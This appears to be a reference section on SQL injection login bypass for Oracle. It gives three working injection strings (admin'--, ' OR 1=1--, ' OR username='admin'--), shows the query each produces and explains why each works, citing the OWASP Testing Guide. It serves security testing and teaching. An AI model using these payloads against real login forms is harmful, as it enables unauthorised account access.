A login that interpolates the submitted fields, such as SELECT * FROM users WHERE username='$u' AND password='$p', authenticates on any returned row. Injecting into either field can return the target row without the correct password.

Commenting out the password check logs in as a chosen user. Oracle's -- comment removes the rest of the line:

username: admin'--
query:    SELECT * FROM users WHERE username='admin'-- ' AND password='...'

An always-true condition returns a row when no account is targeted. Oracle has no LIMIT, so constrain with ROWNUM if the application expects a single row:

username: ' OR 1=1--
query:    SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='...'

When only the password field is injectable and the username is fixed, comment termination does not bypass (it would just test password='admin'); use a condition that re-selects the target so the trailing AND is satisfied by an OR:

password: ' OR username='admin'--

Because AND binds tighter than OR, this evaluates as (username='admin' AND password='') OR username='admin', returning the admin row. Oracle does not allow stacked queries through the usual drivers, so a login injection cannot append a second statement, but the row-returning bypass needs only the one query.

References#

• Oracle Database SQL Language Reference: comments, SELECT, conditions
• OWASP Testing Guide: Testing for SQL Injection